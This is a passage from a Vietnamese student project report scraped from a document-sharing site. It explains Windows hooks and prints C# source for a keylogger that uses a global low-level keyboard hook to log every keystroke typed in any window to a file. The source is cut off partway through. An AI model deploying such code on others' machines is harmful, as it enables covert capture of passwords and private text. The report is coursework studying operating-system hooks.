Tải bản đầy đủ (.pdf) (30 trang)

BÁO cáo đồ án cơ sở NGÀNH MẠNG đề tài kỹ thuật lập trình hook xây dựng ứng dụng bắt phím keylogger đề tài xây dựng ứng dụng quản lý thu chi

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (907.81 KB, 30 trang )

ĐẠI HỌC ĐÀ NẴNG
TRƯỜNG ĐẠI HỌC BÁCH KHOA
KHOA CÔNG NGHỆ THÔNG TIN

BÁO CÁO ĐỒ ÁN

CƠ SỞ NGÀNH MẠNG
PHẦN I: NGUYÊN LÝ HỆ ĐIỀU HÀNH
ĐỀ TÀI : Kỹ thuật lập trình Hook.
Xây dựng ứng dụng bắt phím Keylogger.
PHẦN II: LẬP TRÌNH MẠNG
ĐỀ TÀI : Xây dựng ứng dụng quản lý thu chi.

SVTH: HỒ NGUYỄN TRÚC VY
MSSV: 102140201
LỚP: 14TCLC1
NHÓM: 14
CBHD: PGS.TS NGUYỄN TẤN KHÔI

Đà Nẵng, tháng 12/2018

Tieu luan


LỜI MỞ ĐẦU
Thông qua môn đồ án lần này, bằng cách vận dụng những kiến thức lý thuyết đã
được học cộng với sự hướng dẫn của GVHD và tự tìm tịi tham khảo để cụ thể kiến thức
đó thành một sản phẩm, với sinh viên ngành Công Nghệ Thông Tin năm thứ năm như
chúng em đồ án Cơ sở ngành mạng là một trong những đồ án quan trọng nhất. Đồ án gồm
hai phần là Hệ Điều Hành và phần Mạng.
Để hoàn thành được đồ án lần này em xin gửi lời cảm ơn đến sự giúp đỡ của các


thầy cô trong khoa, đặc biệt là Thầy Nguyễn Tấn Khôi – người trực tiếp hướng dẫn em
thực hiện, cảm ơn sự tận tình chỉ bảo và giải đáp thắc mắc của thầy.
Xin chân thành cảm ơn !

Đà Nẵng, tháng 12 năm 2018
Sinh viên
Hồ Nguyễn Trúc Vy

Tieu luan


NHẬN XÉT CỦA GIẢNG VIÊN
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................
................................................................................................................................................................


Tieu luan


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

................................................................................................................................................................

PHẦN I:

NGUYÊN LÝ HỆ ĐIỀU HÀNH
Tìm hiểu kỹ thuật lập trình Hook
Xây dựng ứng dụng bắt phím Keylogger.
GIỚI THIỆU TỔNG QUAN ĐỀ TÀI

Nội dung đề tài
Sử dụng kỹ thuật Hook để nhận bắt bàn phím khi người dùng thực hiện thao tác gõ
bàn phím. Khi người dùng gõ vào một phím trên bàn phím, các phím sẽ được lưu lại vào
một file.

Mục tiêu
Tìm hiểu được cơ chế hoạt động của kỹ thuật Hook, áp dụng kỹ thuật này vào các
trường hợp cần thiết khi xây dựng ứng dụng.

Môi trường áp dụng
Chương trình mơ phỏng sẽ được viết bằng ngơn ngữ C# chạy trên nền hệ điều
hành windows để có thể thấy được cơ chế hoạt động.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi



BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

CHƯƠNG 1.

CƠ SỞ LÝ THUYẾT

1.1. Lập trình Windows
1.1.1. Thơng điệp và hàng đợi thơng điệp
Windows có 2 loại hàng đợi thông điệp: Hàng đợi hệ thống (system queue) và
hàng đợi ứng dụng (application queue). Hàng đợi hệ thống là hàng đợi duy nhất và được
dùng chung cho toàn hệ thống, mọi tiến trình đang chạy đều chia sẻ hàng đợi này. Nhiệm
vụ của hàng đợi hệ thống là nó ghi lại những sự kiện phần cứng (chuột, bàn phím, ...) khi
chúng ra.
Mỗi sự kiện sẽ được nhanh chóng chuyển thành thơng điệp, sau đó Windows sẽ
lần lượt lấy thơng điệp từ hàng đợi hệ thống để xem xét và chuyển những thơng điệp đó
đến chương trình ứng dụng tương ứng. Những thông điệp này khi được chuyển đến ứng
dụng, chúng tạo thành hàng đợi ứng dụng.
1.1.2. Lập trình sự kiện
Mỗi ứng dụng có một hàng đợi ứng dụng khác nhau. Một ứng dụng nhận các
thông điệp từ hàng đợi ứng dụng bằng cách gọi hàm GetMessage, sau đó lại gọi tiếp
TranslateMessage để dịch thông điệp, cuối cùng gọi hàm DispatchMessage để trả lại
thông điệp cho Windows. Việc lấy thông điệp này cứ lặp đi lặp lại, tạo thành vịng lặp
thơng điệp Vòng lặp này kết thúc khi hàm GetMessage trả về giá trị 0 nếu thơng điệp có
định danh là WM_QUIT (0x0012).
Thông thường, chúng ta chỉ chặn để xử lý các thơng điệp có liên quan đến chức
năng của ứng dụng, các thơng điệp khác thì giao cho hàm xử lý mặc định làm việc (hàm
DefWindowsProc).


Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

1.2. Hook trong Windows
Hook là một cơ chế trong lập trình sự kiện, cho phép ứng dụng có thể cài đặt một
hàm giám sát vào quá trình lưu chuyển các thơng điệp. Hay nói cách khác hook là 1 cơ
chế cho phép chặn các sự kiện (chuột, bàn phím, thơng điệp) trước khi chúng được gửi
tới hàng đợi của ứng dụng . Các hàm này có thể thực hiện một số thao tác trên sự kiện,
và trong một vài trường hợp có thể định nghĩa lại hoặc hủy bỏ sự kiện mà nó chặn được.
Một điểm quan trọng cần lưu ý là các hàm này được gọi bởi chính Windows chứ không
phải bởi ứng dụng của chúng ta.
Windows hỗ trợ nhiều loại hook khác nhau, mỗi loại nhắm đến việc chặn bắt một
loại thơng điệp cụ thể nào đó. Ví dụ, một ứng dụng có thể sử dụng WH_KEYBOARD để
giám sát sự di chuyển của thơng điệp bàn phím trong hệ thống. Một loại hook khác là
WH_MOUSE cho phép theo dõi các thông điệp liên quan đến hoạt động của con chuột.

1.3. Phân loại Hook
- Hook cục bộ (Thread hook hay Local hook): hàm giám sát được cài đặt vào sau
hàng đợi thông điệp ứng dụng (Thread message Queue hay Application Queue), chỉ kiểm
sốt các thơng điệp trong một tiến trình hay một ứng dụng cụ thể nào đó được xác định
lúc cài đặt thủ tục hook.
- Hook toàn cục (Global hook): hàm giám sát được cài đặt vào sau hàng đợi
thơng điệp hệ thống, kiểm sốt tồn bộ các tiến trình trong hệ thống.

1.4. Thủ tục Hook – Chuỗi Hook
1.4.1. Thủ tục Hook
Là một thủ tục được cài đặt để xử lý cho một loại hook nào đó. Thủ tục này được

gọi bởi hệ điều hành, nó là hàm CallBack.
Dạng chung của hook Function :
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);

Trong đó :

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

- nCode: tham số này thường được gọi là “hook code”, thủ tục Hook sử dụng giá
trị này để quyết định cách thức xử lý đối với sự kiện. Việc xử lý với mỗi sự kiện như thế
nào là hoàn tồn phụ thuộc vào người lập trình. Giá trị của hook code tùy thuộc vào từng
loại hook cụ thể, và mỗi loại hook sẽ có tập hợp những giá trị hook code đặc trưng của
riêng mình. Khi Windows truyền cho hàm giát rị hook code âm, thủ tục không được xử lý
sự kiện mà phải gọi hàm CallNextHookEx với chính những tham số mà HĐH truyền cho
nó. Sau đó, nó phải trả về giá trị được trả về bởi hàm CallNextHookEx.
- wParam, lParam: Đây là những thông tin cần thiết cho thủ tục hook trong quá
trình xử lý sự kiện. Các giá trị này sẽ có ý nghĩa khác nhau tuỳ thuộc vào từng loại
hook.
Ví dụ : thủ tục gắn với hook WH_KEYBOARD sẽ nhận mã phím ảo (Virtual-Key
Code) từ wParam, đồng thời có được từ lParam thơng tin mơ tả trạng thái của bàn
phím khi sự kiện gõ phím xảy ra.
- Mỗi loại hook cần có cách xử lý khác nhau khi xây dựng thủ tục hook.
- Có thể cài đặt nhiều thủ tục hook bằng cách dùng hàm SetWindowsHook hay
SetWindowsHookEx.
- Thủ tục hook cài sau sẽ luôn nằm ở vị trí đầu tiên trong chuỗi hook.
1.4.2. Chuỗi Hook

- Là một dãy các thủ tục hook được liên kết theo thứ tự ưu tiên thực hiện giảm dần.
- Hệ thống có khả năng hỗ trợ nhiều loại hook khác nhau, mỗi loại được quy định
một cách thức truy nhập khác nhau  Hệ thống duy trì từng chuỗi hook riêng biệt cho
mỗi loại hook.
- Khi có một message được sinh ra thuộc một loại hook nào đó, nó sẽ được hệ
thống đẩy vào hàm hook đầu tiên trong chuỗi, sau đó được chuyển lần lượt đến các thủ
tục hook kế tiếp nhờ xử lý trong thủ tục hook.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

- Một chuỗi hook là một danh sách các con trỏ đặc biệt, nó được trỏ tới các hàm
CallBack gọi là hook procedure (thủ tục hook). Như vậy khi một sự kiện xuất hiện, hệ
thống sẽ chuyển sự kiện đó tới các thủ tục hook được tham chiếu bới chuỗi hook theo thứ
tự lần lượt. Vì thế phải thực hiện xong thủ tục này mới được gọi thủ tục kế tiếp.

Hình 1: Sơ đồ hook chain
1.5. Lập trình Hook
1.5.1. Cài đặt thủ tục hook
- Một ứng dụng cần phải thực hiện việc Cài đặt thủ tục hook khi muốn giám sát
thông điệp.
- Hàm SetWindowsHookEx sẽ cài đặt thủ tục hook vào điểm bắt đầu của chuỗi
hook.
HHOOK SetWindowsHookEx(
int hookMsg, HOOKPROC hookProc
HINSTANCE hIns, DWORD threadId);
Trong đó:

+ hookMsg: loại hook.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

+ hookProc: con trỏ đến thủ tục hook. Trường hợp Hook toàn cục, thủ tục hook
phải lưu trong DLL; với Thread hook, thủ tục hook có thể chứa trong chính thread tương
ứng.
+ hIns: handle của module chứa thủ tục hook.
+ threadId: ID của thread. Nếu là 0, Hook sẽ là Global.
Ví dụ 1: Cài đặt Keyboard hook tồn cục
SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);
Ví dụ 2: Cài đặt Keyboard hook cục bộ
SetWindowsHookEx(WH_KEYBOARD,

KeyboardProc,

NULL,GetCurrentThreadId());
1.5.2. Chuyển thông điệp đến thủ tục hook kế tiếp
- Sau khi thực hiện xong, thủ tục hook sẽ gọi hàm CallNextHookEx để chuyển
message đến thủ tục hook kế tiếp trong chuỗi hook.
LRESULT CallNextHookEx(HHOOK hHook, int code,
WPARAM wParam, LPARAM lParam);
Trong đó:
+ Tham số đầu tiên là handle của hook hiện hành, giá trị này có thể lấy được từ
hàm SetWindowsHookEx khi cài đặt hook.
+ Ba tham số tiếp theo là những giá trị mà thủ tục hook hiện tại truyền cho thủ tục

hook kế tiếp trong chuỗi Hook.
1.5.3. Chuyển thông điệp đến thủ tục hook kế tiếp
Sử dụng kỹ thuật hook sẽ làm giảm khả năng thực thi của hệ thống. Do đó, khi
khơng sử dụng hook nữa nên hủy bỏ hook khỏi hệ thống.
BOOL UnhookWindowsHooks(HHOOK hHook);

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

CHƯƠNG 2.

PHÂN TÍCH VÀ THIẾT KẾ
CHƯƠNG TRÌNH

2.1. Khởi tạo
Chương trình được viết bằng ngôn ngữ C# hỗ trợ gọi đến các hàm API của
windows.
Khi chương trình chạy, người dùng gõ bàn phím tại bất cứ cửa sổ nào thì phím gõ
vào sẽ được lưu trong file với đường dẫn: KeyLogger\bin\Debug\Log_*.txt
2.2. Mã nguồn chương trình
Khai báo các hàng số và biến
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static string logName = "Log_";
private static string logExtendtion = ".txt";


Import các DLL để lấy các hàm SetWindowsHookEx , UnhookWindowsHookEx ,
CallNextHookEx , GetModuleHandle.
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

Hàm để cài đặt Hook
private static IntPtr SetHook(LowLevelKeyboardProc proc)

{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}

Thiết lập hàm xử lý khi chặn các sự kiện
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Keys vkcode = (Keys)vkCode;
WriteLog(vkcode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

Hàm xử lý các phím được Hook để ghi vào file Log_.txt
static void WriteLog(Keys vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() +
logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);

switch (vkCode)
{
case Keys.Escape:
sw.Write("[ESC]");break;
case Keys.F1:
sw.Write("[F1]"); break;
case Keys.F2:
sw.Write("[F2]"); break;
case Keys.F3:
sw.Write("[F3]"); break;
case Keys.F4:

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

sw.Write("[F4]"); break;
case Keys.F5:
sw.Write("[F5]"); break;
case Keys.F6:
sw.Write("[F6]"); break;
case Keys.F7:
sw.Write("[F7]"); break;
case Keys.F8:
sw.Write("[F8]"); break;
case Keys.F9:
sw.Write("[F9]"); break;
case Keys.F10:

sw.Write("[F9]"); break;
case Keys.F11:
sw.Write("[F9]"); break;
case Keys.F12:
sw.Write("[F9]"); break;
case Keys.PrintScreen:
sw.Write("[PrtScr]"); break;
case Keys.Insert:
sw.Write("[Insert]"); break;
case Keys.Delete:
sw.Write("[Delete]"); break;
case Keys.Oemtilde:
sw.Write("`"); break;
case Keys.D1:
sw.Write("1"); break;
case Keys.D2:
sw.Write("2"); break;
case Keys.D3:
sw.Write("3"); break;
case Keys.D4:
sw.Write("4"); break;
case Keys.D5:
sw.Write("5"); break;
case Keys.D6:
sw.Write("6"); break;
case Keys.D7:
sw.Write("7"); break;
case Keys.D8:
sw.Write("8"); break;
case Keys.D9:

sw.Write("9"); break;
case Keys.D0:
sw.Write("0"); break;
case Keys.OemMinus:
sw.Write("-"); break;
case Keys.Oemplus:
sw.Write("="); break;
case Keys.Back:
sw.Write("[Backspace]"); break;
case Keys.Tab:
sw.Write("[Tab]"); break;
case Keys.Capital:
sw.Write("[Caps Lock]"); break;
case Keys.LShiftKey:
case Keys.RShiftKey:
sw.Write("[Shift]"); break;

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

case Keys.LControlKey:
case Keys.RControlKey:
sw.Write("[Ctrl]"); break;
case Keys.LWin:
case Keys.RWin:
sw.Write("[Windows]"); break;
case Keys.Return:

